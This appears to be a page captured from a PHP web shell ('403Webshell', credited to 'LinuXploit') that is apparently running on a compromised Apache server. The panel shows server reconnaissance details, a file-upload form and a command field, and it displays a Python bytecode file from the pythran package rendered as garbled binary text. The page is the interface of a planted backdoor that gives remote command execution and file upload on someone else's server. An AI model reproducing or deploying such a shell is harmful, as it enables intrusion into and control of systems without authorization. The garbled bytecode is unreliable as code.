403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/pythran/analyses/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/pythran/analyses/__pycache__/immediates.cpython-311.pyc
�

cR�a���x�dZddlZddlmZddlmZddlmZddl	m
Z
mZe
d��ZGd�d	e��Z
dS)
za Immediates gathers immediates. For now, only integers within shape are
considered as immediates �N)�MODULES)�Aliases)�NodeAnalysis)�pythran_builtin�isnum�
make_shapec�$��eZdZ�fd�Zd�Z�xZS)�
Immediatesc���t��|_tt|���t
��dS)N)�set�result�superr
�__init__r)�self�	__class__s ��=/usr/lib/python3/dist-packages/pythran/analyses/immediates.pyrzImmediates.__init__s2����e�e���
�j�$���(�(��1�1�1�1�1�c���|j|j}|D]j}t|dg��rWt|j��D]B\}}||jvr4t
|tj��r|j	�
|���C�kt|��dkrNtt|����tur+|j	�d�|jD����dS|�|��S)N�immediate_arguments�c3�K�|]:}t|��r)t|jt��r|jdk�6|V��;dS)rN)r�
isinstance�value�int)�.0�as  r�	<genexpr>z(Immediates.visit_Call.<locals>.<genexpr>s[����1�1�Q�"'��(�(�1�#-�a�g�s�#;�#;�1�$%�7�a�<�<� !�$0�<�<�<�1�1r)�aliases�func�getattr�	enumerate�argsrr�ast�Constantr
�add�len�next�iter�_make_shape�update�
generic_visit)r�node�func_aliases�alias�i�args      r�
visit_CallzImmediates.visit_Calls���|�D�I�.��!�	1�	1�E��u�3�R�8�8�
1�'��	�2�2�1�1�F�A�s��E�5�5�5�%�c�3�<�8�8�1� �K�O�O�C�0�0�0����|����!�!�d�4��+=�+=�&>�&>�+�&M�&M��K���1�1�$�)�1�1�1�
1�
1�
1�
�F��!�!�$�'�'�'r)�__name__�
__module__�__qualname__rr1�
__classcell__)rs@rr
r

sG�������2�2�2�2�2�(�(�(�(�(�(�(rr
)�__doc__�gastr#�pythran.tablesr�pythran.analysesr�pythran.passmanagerr�
pythran.utilsrrr)r
�rr�<module>r=s���������"�"�"�"�"�"�$�$�$�$�$�$�,�,�,�,�,�,�0�0�0�0�0�0�0�0��o�l�+�+��(�(�(�(�(��(�(�(�(�(r

Youez - 2016 - github.com/yon3zu
LinuXploit